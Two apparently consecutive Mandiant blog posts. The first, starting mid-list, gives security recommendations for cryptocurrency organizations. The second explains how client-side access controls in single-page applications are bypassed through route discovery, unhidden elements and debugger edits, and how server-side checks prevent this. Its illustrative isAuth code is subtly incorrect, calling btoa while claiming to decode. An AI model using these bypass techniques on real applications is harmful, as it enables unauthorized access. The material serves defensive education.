• Unmanaged or disparate infrastructure: Given how rapidly many organizations have grown, infrastructure can be relatively chaotic, with disparate systems across multiple environments or cloud providers, with ad-hoc inventory or change management practices.

Mandiant has observed similarities in how threat actors were able to compromise and steal cryptocurrencies from intrusions it has investigated. In Securing Cryptocurrency Organizations, Mandiant has collated recommendations and insight from its frontline work, designed to specifically assist organizations whose core business involves interacting with cryptocurrencies. The recommendations provide an overview of security controls that cryptocurrency organizations should implement to prevent intrusions, detect them earlier in the Attack Lifecycle, and respond to them more effectively. While these recommendations are based on specific security failings observed in intrusions Mandiant has investigated, alternative frameworks outlining wider security controls for Cryptocurrency Organizations are available within the industry. Notably, the Security Frameworks by Security Alliance (SEAL) provides an excellent overview of key controls to consider when approaching security in a range of cryptocurrency organizations.

Prevention Securing Cryptocurrency and IT Infrastructure to Prevent Compromise Cryptocurrency Infrastructure and Wallet Management

Cryptocurrency infrastructure is the network of systems, protocols, and technologies that facilitate the creation, storage, transfer, and management of digital assets. At the core of this infrastructure are cryptocurrency wallets, which serve as containers for storing and managing cryptographic keys that provide ownership and control over cryptocurrencies. The highest priority for every cryptocurrency organization is the security of this infrastructure, since compromise of these keys can lead to significant financial loss.

Standards for Crypto Infrastructure

Traditional cryptographic security controls are commonplace in most organizations' security strategy. Many of the same controls and use cases can be applied to the protection of cryptocurrency keys and wallets.

The CryptoCurrency Security Standard (CCSS) from the CryptoCurrency Certification Consortium (C4) is a widely accepted standard for the technical security of systems that store or interact with cryptocurrencies. While not formally required by any financial regulator in any market, the controls it introduces are a strong starting point for organizations looking to secure their cryptocurrency infrastructure, specifically, and complement other local and international IT security standards. Mandiant recommends that organizations maintaining cryptocurrency infrastructure should adhere to these standards, both on custom implementations and with third-party solutions.

Custodian Solutions

Many cryptocurrency organizations choose to use commercial cryptocurrency custodian solutions to manage their wallet infrastructure. These solutions offer several advantages, especially for green-field or start-up organizations that may lack the skills, budget, or requirements to build or commission custom systems. The primary advantages of custodian solutions include simplified authentication and permissions management, streamlined logging and monitoring, and the provision of API access for easy integration with other systems.

Commercial custodian platforms can introduce new risks over custom-built solutions, especially when those platforms are not self-hosted. These include the potential compromise of the custodian platform itself, vulnerabilities in platform dependencies or content delivery networks (CDNs), and reliance on internal vendor security testing and monitoring for closed-source commercial platforms. Organizations should implement and validate strict controls around any custodian solution.

• Perform internal security testing: When using self-hosted solutions, organizations should conduct internal security testing for every new implementation or significant change. This may be performed internally or by using multiple third-party vendors. This helps identify misconfigurations and vulnerabilities and provides extra assurance above and beyond the testing performed by the custodian vendor.

• Implement strict access controls: Implement strict authentication and access controls, including principles of least privilege and multifactor authentication. Any account with permission to withdraw cryptocurrency assets or make platform or wallet policy changes should be considered a highly privileged account.

• Implement strict scopes: Implement limits on spending and access at user, wallet, and API key levels. Implement transaction allow lists for destination send addresses and regularly audit the scopes.

• Manage credentials: Protect API keys and credentials by using just-in-time keys, avoiding local storage, and allowing developer access to only developer custodian instances or environments. Integrate the credentials for custodian solutions into privileged access and identity management solutions to enhance auditing and management of credentials.

• Secure access: When using on-premises or cloud-hosted custodian web platforms, ensure that users visit the platform using saved bookmarks, and always verify the website they are visiting is legitimate before transacting.

• Limit transaction types: When managing or interacting with smart contracts through a custodian platform, the platform should support limiting which functions can be called. This would typically include only allowing token transfers instead of risky operations like smart contract updates. The exact functions callable by the custodian will depend on the smart contract deployed.

• Configure multi-signature (multi-sig) requirements: If the platform is managing multi-sig smart wallets, ensure that it is one of the required signatures and it only provides that signature if the transaction meets all of the configured criteria, including destination addresses and called functions. The custodian must have context around the exact functions being called on any smart contract to configure these criteria.

Smart Contracts and Multi-Sig Wallets

Organizations should employ smart contracts for cold wallets that necessitate multiple hardware signatures to authorize significant send transactions. While the specific capabilities of these contracts can vary across blockchains, Mandiant recommends that organizations should consider several key controls.

• Use audited contract code: For multi-sig wallets, opt for open-source, publicly audited contract code without any modifications. Where custom contracts are required, their code should be audited and tested by experts familiar with the blockchain and coding language used.
• Configure signature requirements: Enforce a minimum requirement of at least four signatures to authorize any send transaction. These signatures should originate from clear-signing capable hardware wallet devices of multiple vendors assigned to and in the possession of different trusted employees at the organization. A strict process around signing transactions should be implemented (see Management and Protection of Cold Wallets and Their Transactions). Additionally, ensure the passphrases or recovery seeds for these devices are stored in secure geographically dispersed locations to mitigate the risk of a single point of failure or physical compromise.
• Secure private keys and contract upgrades: As with standard wallets, private keys for smart contracts that allow the upgrading of contract code or implementation contracts should be secured on cold devices. Multiple keys or signatures should be configured for any contract upgrade.
• Distribute assets across multiple wallets: Distribute assets across multiple multi-sig wallets with multiple cold signing wallets to a level where loss of assets from one multi-sig wallet would not be significant.
• Enforce a strict multi-sig signing process: Implement and enforce a multi-sig signing process that requires signers to be in geographically dispersed locations with different internet connections, and enforce the use of signing systems only for any multi-sig transaction. Signing systems should be audited to confirm they meet a minimum set of security requirements prior to being used for signing. Signers must also verify the transaction hashes for any signed transaction, on-device if using cold wallets, and verify raw transaction data in a third-party system prior to signing.
• Scrutinize transactions where signing errors occur: Wherever signing on a multi-sig transaction fails, implement a process to scrutinize the transaction and communicate the concern to all signers to prevent further signing activity. In cases of multi-sig compromise, Mandiant has frequently observed victims reporting multiple errors in the signing process before malicious transactions are successfully approved.

Case Study: Abusing Smart Contracts

The March 2023 Euler Finance exploit, resulting in a $200 million USD loss, exposed the dangers of flash loan manipulation within DeFi protocols.  Attackers exploited vulnerabilities in Euler's code to manipulate the protocol's lending and collateralization mechanisms, allowing them to obtain and drain massive amounts of cryptocurrency through a series of flash loans. This incident highlighted the need for secure coding practices and thorough testing, especially when dealing with complex financial instruments like flash loans. It highlighted the importance of anticipating and mitigating potential attack vectors, including those that exploit the unique characteristics of DeFi protocols and smart contracts.

Management and Protection of Cold Wallets and Their Transactions

The standard practice for cryptocurrency organizations is to store most of their assets in multi-sig smart wallets that require cold wallets for signing send transactions. Hot wallets are topped up from these multi-sig wallets as needed when they are near depletion. Since the majority of cryptocurrency organizations’ assets are stored on these cold wallets, their security is important.

Cold Wallet Security

Cold wallets may hold private keys for cryptocurrency wallets directly or may be used for signing transactions in a multi-sig smart wallet setup. Security of these wallets is therefore critical in preventing unauthorized transactions or contract upgrades.

• Use cold wallet devices from multiple vendors: Use cold signing wallet devices from multiple vendors to mitigate risks associated with vulnerabilities in specific vendor platforms or hardware.
• Use cold wallet devices that support clear signing: Ensure all signing devices support clear signing of transactions, allowing signers to accurately match the transaction hash and payload to the intended transaction. Blind signing introduces significant risks of transaction data interception between IT systems and the signing device.
• Store passphrases and recovery codes securely offline: Ensure that hard copies of passphrases or backup codes for wallets are stored securely. In multi-sig wallets, these should be stored in separate secure geographical locations.

Dedicated Signing Systems

Mandiant recommends using dedicated, hardened signing systems for transfer or contract update transactions on multi-sig smart wallets.

• Enforce dedicated use: The signing systems should be solely used for signing transactions and no other business activities.
• Apply security updates frequently: The signing systems and any wallet software must be kept up-to-date with security patches. Patches should be applied much more frequently than for other systems. Verified updates should be checked and applied before signing as part of the signing process.
• Use separate internet connections: The signing systems should connect to the internet from separate internet lines (mobile hotspots or locations), not through corporate exit nodes.
• Limit execution of applications: The signing systems should have extremely strict controls around program execution. Typically, only a managed web browser, security software, hardware wallet software, and update software should be allowed.
• Limit network traffic: Network traffic should only be allowed to specified destination addresses in line with the individual signing process, such as any cryptocurrency custodian platforms and their dependent systems or only to self-managed infrastructure. Updates may be fetched from internal staging servers or introduced through removable media after verification.
• Verify applications: Signers should use the latest verified version of official hardware vendor software. This should generally be used in place of web USB solutions to mitigate the risk of compromise of third-party libraries, CDNs, or the platforms themselves.

Case Study: Risks of Blind Signing

In one case Mandiant investigated, a cryptocurrency exchange inadvertently signed a malicious transaction due to their hardware wallet devices not supporting clear-signing. The signers had no way to verify the transaction, which led to significant financial loss.

General Infrastructure Security

Cryptocurrency organizations, like any other technology-dependent organization, should adhere to best practices in enterprise security. Organizations in this industry, as in the wider financial services industry, are expected to have a higher level of capability or maturity than other industries due to the specific risks and targeting they face.

• Manage third-party technologies: The security of technologies and dependencies of custodian and web platforms are of particular importance. The security of the upstream suppliers of these technologies has a direct impact on the security of the organization using them. It is critical for cryptocurrency organizations to effectively manage, monitor, and enforce security within their supply chain. Where third-party technologies are implemented, regular audits of their security should be conducted to verify the integrity of any subsystems (scripts, libraries) against known-good distributions. For web services, the content hosted on third-party servers or provided through content delivery networks should also be regularly audited.
• Manage vulnerabilities: Regularly perform vulnerability scans against deployed technologies to ensure public vulnerabilities are identified, prioritized, and mitigated effectively. Implementing a bug bounty program that rewards reporters is also advisable.
• Manage misconfigurations: Implement an Attack Surface Management solution to continually audit the configuration of external infrastructure, and compare the results to change management records.
• Validate security controls: Implement a continuous security validation program to verify the effectiveness of prevention and detection controls as infrastructure changes.
• Manage identities and access: Implement hardware-token multifactor authentication and manage permissions and identities across all production and development environments.
• Manage remote access: Where remote access to environments is required, ensure that authentication is hardened and access is restricted to only managed and hardened devices through host integrity checking and device certificate-based authentication.
• Provide employee awareness training: All employees of cryptocurrency organizations should be aware of the significant security threats their organization faces. Signers and developers should have an even greater understanding. Regular training or communications on the threats and how to manage them should be conducted, especially related to common tactics attackers use to compromise victims, including unsolicited job offers or freelance development work.
• Conduct regular targeted threat hunting activities: Threat hunting can identify evidence of compromise that has been missed by existing detection capability, identify gaps in visibility, and assist in the development of new use cases for detection engineering. Mandiant generally recommends engaging a third party for such activities to bring new hunting hypotheses and intelligence to those already proposed by internal security teams.

Secrets Management

Effective and secure management of secrets within cryptocurrency organizations is critical, even more so than for organizations in other industries. The theft of secrets used to secure wallets in particular, directly or indirectly, can lead to immediate and significant financial loss.

• Rotate secrets: Rotate secrets related to critical wallets and wallet infrastructure on a frequent basis, ideally monthly. This reduction of lifespan in secrets limits the potential impact of an attacker gaining access to them. Frequent secret rotation can introduce its own set of challenges, including the secure distribution and communication of new secrets across systems and personnel. Implementing a robust privileged access management (PAM) or secrets management system can make this easier. A PAM solution can streamline and secure the process of secret rotation, reducing the risk of exposure or compromise.
• Manage secret storage: Organizations should consider implementing an enterprise password or secrets storage and management solution with enhanced monitoring and regular auditing. Privileged secrets should never be stored locally on user systems. Regular auditing of systems used by privileged users, such as developers or signers, should be performed to identify any improperly stored secrets.

Securing Developer Workstations

Developers and their workstations are particularly attractive targets for cyberattacks, especially when they interact with cryptocurrency infrastructure. Mandiant has frequently observed initial access in cryptocurrency organization intrusions being through developer workstations. 

• Restrict direct access: Minimize or eliminate direct access to production cryptocurrency infrastructure from developer workstations. Instead, implement secure deployment pipelines and staging environments for testing and code integration.
• Manage secrets: Employ robust secret management solutions to protect sensitive keys and credentials. Avoid storing secrets directly on developer workstations or within code repositories.
• Enforce principles of least privilege: Enforce the principle of least privilege, granting developers only the minimum necessary access required to perform their tasks.
• Regularly conduct security audits: Conduct regular security audits of developer workstations and their access privileges to identify and address potential vulnerabilities.
• Conduct security awareness training: Provide comprehensive security awareness training to developers, emphasizing the importance of protecting sensitive information and recognizing potential threats.
• Enforce and manage security software: Endpoint detection and response tooling complements built-in security mechanisms and anti-virus to alert on threats quicker. Detections should be engineered for any anomalous or unauthorized behavior consistent with the end user's job role.

Case Studies: Targeting Developers and Their Workstations

Direct access to production cryptocurrency infrastructure from developer workstations is especially risky. Mandiant has observed threat actors leveraging footholds on developer systems to interact with such infrastructure:

• Targeted phishing via fake job opportunities: State-sponsored threat actors leveraged fake job postings on LinkedIn to deliver malware to developers and their highly privileged systems, leading to privileged access to cryptocurrency infrastructure.
• AWS CLI abuse: Attackers have used the AWS CLI to interact with and extract secrets from wallet infrastructure hosted in Elastic Kubernetes Service (EKS).
• API key compromise: In some cases, attackers leveraged their foothold to make API requests to the cryptocurrency custodian platform using keys stored within scripts and API testing applications.

Protecting Customers

The security of a cryptocurrency platform's customers is an important part of a comprehensive security strategy. In any business-to-consumer organization, some level of customer account compromise is inevitable. However, cryptocurrency platforms can implement targeted controls to limit the chance of success and level of impact for such breaches.

• Enforce multifactor authentication for all users: Enforce strong multifactor authentication, avoiding SMS-based tokens due to their vulnerability to SIM swapping attacks. Consider offering hardware-based tokens or app-based authenticators for enhanced security.
• Provide users with tools to manage their own security: Empower users with greater control over their security by providing features like hardware multifactor authentication support, session management (including termination), login notifications, and login history visibility. This not only fosters user confidence, but also reduces the burden on the organization when investigating individual account compromises.
• Enforce withdrawal controls: Implement withdrawal limits, delays, or cool-down periods for large transactions, coupled with secondary verification or notifications. These measures can significantly restrict the amount of assets an attacker can transfer if an account is compromised.
• Back all assets 1-to-1: Organizations holding user assets should maintain their full value in cold storage completely segregated from the core infrastructure. This ensures that in the event of a significant cryptocurrency theft caused by the organization, users can be reimbursed. Many financial regulators already mandate this practice for cryptocurrency exchanges.
• Provide user awareness communications: It is the responsibility of all cryptocurrency organizations to educate their user base about threats to their assets. Regular communication and awareness campaigns can empower users to protect themselves and recognize potential threats before security incidents occur.

Detection Maintaining Visibility and Engineering Detections to Catch Attackers Early

Most organizations can benefit from security monitoring. By monitoring activity across host, network, and application data sources, organizations can leverage threat intelligence and identify suspicious activities related to generic IT behavior and cryptocurrency transactions, wallet interactions, and privileged access. Effective security monitoring allows organizations to detect and respond to threats earlier in the Attack Lifecycle and ultimately limit their impact.

Monitoring User Transactions and Activity

For cryptocurrency exchanges in particular, monitoring transactions among its user base can provide insight into fraudulent activities in the early stages of a heist. Transaction monitoring should be implemented from logs generated by the cryptocurrency applications or the custodian platforms if they are used. From these log sources, detections should be engineered relative to normal business processes and customer activity.

• High-volume or -velocity transactions: Sudden surges or unusually high frequencies of withdrawals might indicate individual user accounts have been compromised or that an attacker is attempting to trigger hot wallet replenishment from cold storage. If user account compromise is suspected, organizations should investigate commonalities among affected users, particularly their platform access points, to implement targeted blocks, heightened monitoring, and trigger account credential resets. If potential attacker-induced top-up activity is detected, organizations should exercise extreme caution before initiating any replenishment procedures from cold wallets.
• Unusual transaction patterns: Deposits and withdrawals involving unusual or unexpected wallets should be flagged and scrutinized. A wallet might be defined as unusual if it is linked to previous malicious behavior internally or from threat intelligence sources. Transaction behavior may also be monitored, such as typical times of day for each user and normalized frequencies of transactions. Advanced user behavior profiles may be built around this data and engineered into detections, such as identifying which users rarely make withdrawals and which users trade frequently. These detections should be integrated with transaction delay or cool-down controls.
• Anomalous behavior: Detect deviations from typical user behavior, such as login attempts from unusual IP addresses or geolocations. Wherever possible, platform application security logs should be linked with transaction logs to provide context into user cryptocurrency activity.

Monitoring Internal User and Wallet Interaction

Monitoring internal user activity within a cryptocurrency organization is arguably more important than monitoring customer activity. Effective internal monitoring can identify compromised internal accounts and secrets early on and significantly reduce the impact of a compromise.

• Secrets usage: Monitor and audit the use of API keys and other credentials when interacting with internal systems, particularly custodian platforms and wallet infrastructure. Use context from secrets management platforms or records to identify suspicious activities, such as unusual source systems, failed access attempts, or unusual API calls (especially those that might indicate reconnaissance, for example, checking policies within custodian solutions).
• User activity: Monitor the specific actions performed with each request against wallet infrastructure systems. This includes monitoring the creation, modification, updating, or deletion of information or configurations. Attackers typically conduct internal reconnaissance before executing a heist. This involves actions like listing wallets, retrieving balances, or checking configured limits and allow lists through custodian platforms. Monitoring these activities provides valuable opportunities for early detection.
• Access to knowledge and code repositories: Implement detections for unusual access to knowledge bases and code repositories., for example, high-velocity or high-volume requests, which might indicate bulk downloading, or searches for keywords such as "passwords", "keys", or "infrastructure." Mandiant has frequently observed threat actors performing internal reconnaissance through knowledge and code repositories prior to performing a heist.

Heightened Monitoring on Developer and Signing Systems

No matter how many security controls are implemented on developer and signing systems, there is still a chance they can be compromised. For this reason, heightened monitoring should be configured on these and other sensitive systems, including any that interact with wallet infrastructure.

• Monitor host-based activity: Monitor process creation and software installations to promptly detect any compromise and verify the effectiveness of preventative security controls. For signing systems, deploy detections to alert on any software not associated with approved hardware wallet vendors or managed web browsers.
• Monitor network activity: Engineer network detections tailored to the permitted use cases of each system. On signing systems, implement strict alerts for any network calls to destinations beyond those necessary for software updates and transaction signing, even if these should be blocked at the network level.
• Perform threat hunting: Conduct regular threat hunting and auditing on developer and signing systems to ensure secrets are not stored on disk and that security controls remain effective.

Response Taking Action to Thoroughly Investigate and Remediate Compromise

When compromise is detected in a cryptocurrency organization, it is essential to tactically harden the environment, investigate to identify root cause, and perform remediation swiftly once the attack path is understood.

Tactical Hardening and Positioning

When compromise is identified within any part of a cryptocurrency organization, time is of the essence to harden the environment as much as possible and configure security technologies to give organizations the best chance of thoroughly investigating, effectively remediating, and securing the environment going forward.

• Enhance logging: If the attacker is still active within the environment, immediately increase logging verbosity for critical areas such as secret use against custodian platforms, wallet infrastructure, and identity providers. This enhanced visibility helps understand attacker actions and enables real-time tactical responses.
• Isolate wallet infrastructure: At the first sign of access or malicious attempted access to wallet infrastructure, including hot wallets or secrets, temporarily isolate the affected systems or custodian platforms. This containment measure prevents further attacker access and potential asset loss. Such actions should be linked to agreed processes for customer or stakeholder communication, if necessary.
• Implement restrictions on withdrawals: Where an attacker may be active or have opportunities to complete their mission, implement cool-down periods or other restrictions on withdrawals. This should include limiting withdrawals to new addresses or introducing limits on the volume or velocity of withdrawals.
• Rotate wallet keys: If there are any suspicions that the attacker possesses wallet keys or passphrases, rotate them immediately or transfer funds to a new, secure wallet as quickly as possible. For multi-sig wallets, rotate all signers to invalidate any compromised keys, and issue new hardware devices if necessary.
• Isolate compromised systems: Immediately disconnect any systems exhibiting signs of malware or attacker access, especially those involved in signing transactions or interacting with wallet infrastructure services. Preserve these systems for forensic investigation.
• Carefully plan remediation: Generally, avoid widespread remediation actions like enterprise-wide password resets during the initial response phase. Without a complete understanding of the attacker's access, such actions could alert them, prompting them to accelerate their malicious activities and target accessible wallets. While caution is advised against widespread remediation actions during the initial response phase of a typical compromise, the unique nature of cryptocurrency heists demands a more nuanced approach. Unlike other breaches where organizations might be able to monitor attacker activity, the theft of a single file or key in a cryptocurrency environment can lead to significant financial loss, so a different approach may be needed. 
• Engage incident responders: Organizations should engage an incident response service provider immediately to begin scoping and investigating the intrusion and advising on the best tactical options to take at each phase of the investigation.

Investigating

Investigation of compromises within cryptocurrency organizations varies significantly between intrusion types, initial information identified from detection, and infrastructure architecture. However, in the majority of cases Mandiant has investigated, similar tactics were observed, which can provide a starting point for investigators.

• Malware on developer or signing systems: Analyze systems that interact with wallet or custodian infrastructure for signs of malware, including developer and signing systems. Given their prevalence in cryptocurrency organizations, macOS systems are particularly attractive targets for cryptocurrency threat actors. Both built-in and third-party security mechanism logs and artifacts should be carefully reviewed.
• Initial access by phishing: Investigate opportunities threat actors may have had to introduce malware or steal credentials in the environment. Mandiant frequently observes threat actors targeting developers with deceptive job offers containing malicious coding or debugging challenges, most frequently delivered via Slack, Telegram, or LinkedIn.
• Malicious webpages: Analyze web history on hosts and the network perimeter to uncover any visits to malicious websites, especially by signers in the case of a multi-sig heist. Be vigilant for websites mimicking custodian platforms or wallet management applications that trick users into connecting hardware wallets and inadvertently signing malicious transactions.
• Malicious transaction requests: Review available logs that may have recorded interactions with wallet infrastructure, especially send transactions. These are typically available within the custodian platform, if deployed, or in API gateways.

On-Chain Analysis

Investigation can also be performed on the blockchain and can provide valuable information for attribution of a threat actor and opportunities for recovery of funds. 

• Follow the money: Trace the movement of funds through the blockchain to identify the origin, destination, and intermediaries involved in transactions relating to stolen funds.
• Identify key entities: Analyze transaction patterns and metadata to uncover addresses and entities associated with the movement of funds.
• Use blockchain explorers: Leverage blockchain explorers to gather information on addresses, transactions, and associated metadata.
• Cluster analysis: Group addresses controlled by the same entity based on transaction patterns and behaviors.
• Consult with experts: Engage with blockchain analytics experts or law enforcement agencies for advanced tracing and identification techniques.
• On-chain adversary tactics, techniques, and procedures (TTPs): TTPs also apply post-intrusion, where an adversary has developed their own methodology to obscure the money flow and launder the funds, for example, using specific tokens such as Monero (XMR), which is a cryptocurrency and blockchain with enhanced privacy features, or using obfuscation protocols such as mixers like Tornado Cash.

Remediating and Moving Forward

Effective remediation after a thorough investigation is important in order to secure the infrastructure going forward. The precise steps an organization takes will depend on the specific architecture and the attacker's tactics, but several key actions are generally recommended by Mandiant.

• Rotate all secrets: As in tactical hardening, reset all wallet secrets or move funds to newly created, secure wallets. Implement enterprise-wide password resets, revoke compromised certificates, and reset API keys for custodian platforms and any access points to wallet infrastructure.
• Remove footholds: Identify and eliminate any access points the attacker may still have in the environment. If malware was deployed, rebuild affected systems from known-good configurations to ensure a clean environment.
• Implement system hardening: Apply all preventive measures detailed in Prevention to enhance the overall security posture and make the environment more resistant to future attacks.
• Implement enhanced security monitoring: Implement enhanced security monitoring tailored to the specific indicators of compromise and attacker methodologies identified during the investigation. This will provide a way to verify that remedial actions have been effective.
• Plan for effective remediation: Organizations must strategically time their remedial actions, ensuring they align with the investigation's findings. Action should be initiated when sufficient knowledge about the attacker and their activities is gained and sufficient monitoring is in place to ensure the effectiveness of these actions and provide timely alerts if any gaps remain.

Conclusion

Cryptocurrency organizations operate in a challenging threat landscape where the risk of immediate and substantial financial loss is high. The convergence of high-value digital assets, complex and rapidly evolving technologies, and the pressures of a rapidly evolving market, creates an environment where organizations should expect to be targeted. The recommendations in Securing Cryptocurrency Organizations provide a starting point for bolstering defenses, however security is not a point-in-time achievement, and organizations should aim for continuous improvement.

Mandiant’s recommendations highlight the importance of a multi-faceted enterprise security approach for every size of cryptocurrency organization. This includes the secure management of wallet infrastructure, robust access controls, and securing systems which interact with infrastructure, such as developer and signing workstations. Mandiant has also emphasized the importance of proactive threat detection to identify malicious activity earlier within wallet infrastructure, wider platform infrastructure, and on employee workstations. Finally, organizations should be prepared to respond to an intrusion with suitable data available to support an investigation, and appropriate containment and hardening controls to limit the impact.

The task of securing a cryptocurrency organization is complex. By embracing a culture of proactive security, continuous improvement, and implementing the recommendations in Securing Cryptocurrency Organizations as a baseline, Mandiant hopes that the number of successful intrusions decreases across the industry.

Call to Action for Security Leaders

Security leaders in cryptocurrency organizations should take these steps to make the most of Securing Cryptocurrency Organizations:

• Conduct a comprehensive security assessment which benchmarks your current security posture against industry best practices and the recommendations provided in Securing Cryptocurrency Organizations. Identify gaps in your controls and prioritize remediation efforts through risk analysis.

• Develop and implement a security roadmap based on the assessment. Focus on technical and strategic improvements with clear timelines and resource allocations across prevention, detection, and response capabilities.

• Strive to be the most trusted organization within your industry by fostering a security-conscious culture. Empower your organization to see security as a shared responsibility supported by your investment.

The future of cryptocurrency organizations depends on the security and trust within them. By proactively addressing the challenges and implementing effective security controls, cryptocurrency organizations can safeguard their assets, protect their customers, and contribute to a more secure and resilient industry.

Mandiant provides cryptocurrency organizations with a range of services including security assessments, compromise assessments, threat hunts, security monitoring, threat intelligence, and incident response. To learn more about our experience and how we can help, get in touch.

Acknowledgement

Special thanks to the reviewers: Adrian Hernandez, Robert Wallace, Joseph Dobson, Mohamed El-Banna, and Jigisha Patel.

Written by: Steven Karschnia, Truman Brown, Jacob Paullus, Daniel McNamara

Executive Summary

• Due to their client-side nature, single-page applications (SPAs) will typically have multiple access control vulnerabilities

• By implementing a robust access control policy on supporting APIs, the risks associated with client-side rendering can be largely mitigated

• Using server-side rendering within the SPA can prevent unauthorized users from modifying or even viewing pages and data that they are not authorized to see

Introduction

Single-page applications (SPAs) are popular due to their dynamic and user-friendly interfaces, but they can also introduce security risks. The client-side rendering frequently implemented in SPAs can make them vulnerable to unauthorized access and data manipulation. This blog post will explore the vulnerabilities inherent in SPAs, including routing manipulation, hidden element exposure, and JavaScript debugging, as well as provide recommendations on how to mitigate these risks.

Single-Page Applications

A SPA is a web application design framework in which the application returns a single document whose content is hidden, displayed, or otherwise modified by JavaScript. This differs from the flat file application framework traditionally implemented in PHP or strictly HTML sites and from the Model-View-Controller (MVC) architecture where data, views, and server controls are handled by different portions of the application. Dynamic data in SPAs is updated through API calls, eliminating the need for page refreshes or navigation to different URLs. This approach makes SPAs feel more like native applications, offering a seamless user experience. JavaScript frameworks that are commonly used to implement SPAs include React, Angular, and Vue.

Client-Side Rendering

In SPAs that use client-side rendering, a server responds to a request with an HTML document that contains only CSS, metadata, and JavaScript. The initially returned HTML document does not contain any content, and instead once the JavaScript files have been run in the browser, the application’s frontend user interface (UI) and content is loaded into the HTML document at runtime. If the application is designed to use routing, JavaScript takes the URL and attempts to generate the page that the user requested. While this is happening, the application is making requests to the API endpoint to load data and check whether or not the current user is authorized to access the data. If a user is not yet authenticated, then the application will render a login page or redirect the user to a separate single sign-on (SSO) application for authentication.

While all of this happens, a user may briefly observe a blank white page before the application dashboard or login page is loaded into their browser. During this pause, the application is potentially loading hundreds of thousands of lines of minified JavaScript that will build the full user experience of the application. SPAs are used in millions of applications across the globe, including Netflix, Hulu, Uber, and DoorDash.

Issues with Client-Side Rendering

Because SPAs rely entirely on the client’s browser to render content (using API data), users have significant control over the application. This enables users to manipulate the application freely, making user or role impersonation easier.

Routing

One fundamental aspect of the JavaScript frameworks that SPAs are implemented in is the idea of routes. These frameworks use routes to indicate different pages in the application. Routes in this case are different views that a user can see, like a dashboard or user profile. Since all of the JavaScript is handled by the client's browser, the client can view these routes in the JavaScript files that are included in the application source. If a user can identify these routes, they can attempt to access any of them. Depending on how the JavaScript was implemented, there may be checks in place to see if a user has access to the specific route. The following is an example of React routing that includes information on creating the views, and more importantly path attributes.

In = function () { return (0, _.jsx)(d.rs, { children: (0, _.jsxs)(ki, { children: [ (0, _.jsx)(d.AW, { path: "/dashboard", children: (0, _.jsx)(Ii, {}), }), (0, _.jsx)(d.AW, { path: "/users", children: (0, _.jsx)(wi, {}), }), (0, _.jsx)(d.AW, { path: "/profile", children: (0, _.jsx)(Ti, {}), }), ], }), }); }; Hidden Elements

One way that access control is handled by SPAs is through hidden page elements. This means that when the page loads, the application checks the user's role through local/session storage, cookie values, or server responses. After the application checks the user’s role, it then displays or hides elements based on the user's role. In some cases, the application only renders elements that are accessible by the user. In other cases, the application renders every element but "hides" them by controlling the CSS properties of the element. Hidden elements can be exposed through browser Developer Tools, allowing users to force their display. These hidden elements could be form fields or even links to other pages.

JavaScript Debugging

Modern browsers allow users to debug JavaScript in real time with breakpoints. Modern web browsers allow breakpoints to be set on JavaScript files, which can be used to modify variables or rewrite functions all together. Debugging core functions can allow users to bypass access controls and gain unauthorized page access. Consider the following JavaScript:

function isAuth() { var user; var cookies = document.cookies; var userData = btoa(cookies).split(‘:’); if (userData.length == 3) { user.name = userData[0]; user.role = userData[1]; user.isAuthed = userData[2]; } else { user.name = “”; user.role = “”; user.isAuthed = false; } return user; }

The previously defined function reads a user’s cookie, Base64 decodes the value, splits the text using : as the delimiter, and if the values match, it considers the user as authenticated. Identifying these core functions allows an attacker to bypass any authorization and access controls that are being handled by the client-side application.

Exploitation

Manually exploiting JavaScript framework issues takes time and practice, but there are a few techniques that can make it easier. A common technique involves analyzing JavaScript files to identify application routes. Identifying routes allows you to “force-browse” to application pages and access them directly, rather than through the UI. This technique may work on its own, but other times you may need to identify any role checks in the application. These checks can be accessed through the JavaScript debugger to modify variables during execution to bypass authorization or authentication checks. Another useful technique involves capturing server responses to requests for user information in an HTTP proxy, such as Burp Suite Professional, and manually modifying the user object. While these exploitation techniques are effective, they can be mitigated through strong preventative measures, including those detailed in this post.

Recommendations

Access control issues are systemic to client-side-rendered JavaScript frameworks. Once a user has the application loaded into their browser, there are few effective mitigations to prevent the user from interacting with content in unauthorized ways. However, by implementing robust server-side access control checks on APIs, the effect that an attacker could produce is severely reduced. While the attacker might be able to view what a page would look like in the context of an administrator or even view the structure of a privileged request, the attacker would be unable to obtain or modify restricted data. 

API requests should be logged and monitored to identify if unauthorized users are attempting to or successfully accessing protected data. Additionally, it is advisable to conduct periodic penetration tests of web applications and APIs throughout their lifetime to identify any gaps in security. Penetration testing should uncover any APIs with partial or incomplete access control implementations, which would provide an opportunity to remediate flaws before they are abused by an adversary.

API Access Controls

Implementing robust API access controls is critical for securing SPAs. Access control mechanisms should use a JSON Web Token (JWT) or other unique, immutable session identifier to prevent users from modifying or forging session tokens. API endpoints should validate session tokens and enforce role-based access for every interaction. APIs are often configured to check if a user is authenticated, but they don’t comprehensively check user role access to an endpoint. In some cases, just one misconfigured endpoint is all it takes to compromise an application. For example, if all application endpoints are checking a user’s role except the admin endpoint that creates new users, then an attacker can create users at arbitrary role levels, including admin users. 

An example of proper API access control is shown in Figure 1.

Figure 1: Proper API access control example

This diagram shows a user authenticating to the application, receiving a JWT, and rendering a page. The user interacts with the SPA and requests a page. The SPA identifies that the user is not authenticated so the JavaScript renders the login page. Once a user submits the login request, the SPA forwards it to the server through an API request. The API responds stating the user is authenticated and provides a JWT that can be used with subsequent requests. Once the SPA receives the response from the server, it stores the JWT and renders the dashboard that the user originally requested. 

At the same time, the SPA requests the data necessary to render the page from the API. The API sends the data back to the application, and it is displayed to the user. Next, the user finds a way to bypass the client-side access controls and requests the main admin page in the application. The SPA makes the API requests to render the data for the admin page. The backend server checks the user’s role level, but since the user is not an admin user, the server returns a 403 error stating that the user is not allowed to access the data.

The example in Figure 1 shows how API access controls prevent a user from accessing API data. As stated in the example, the user was able to access the page in the SPA; however, due to the API access controls, they are not able to access the data necessary to fully render the page. For APIs developed in C# or Java, frameworks often provide annotations to simplify implementing access controls.

Server-Side Rendering

Aside from API access controls, another way to mitigate this issue is by using a JavaScript framework that has server-side rendering capabilities, such as Svelte-Kit, Next.js, Nuxt.js, or Gatsby. Server-side rendering is a combination of the MVC and SPA architectures. Instead of delivering all source content at once, the server renders the requested SPA page and sends only the finalized output to the user. The client browser is no longer in charge of routing, rendering, or access controls. The server can enforce access control rules before rendering the HTML, ensuring only authorized users see specific components or data.

An example of server-side rendering is shown in Figure 2.

Figure 2: Server-side rendering example

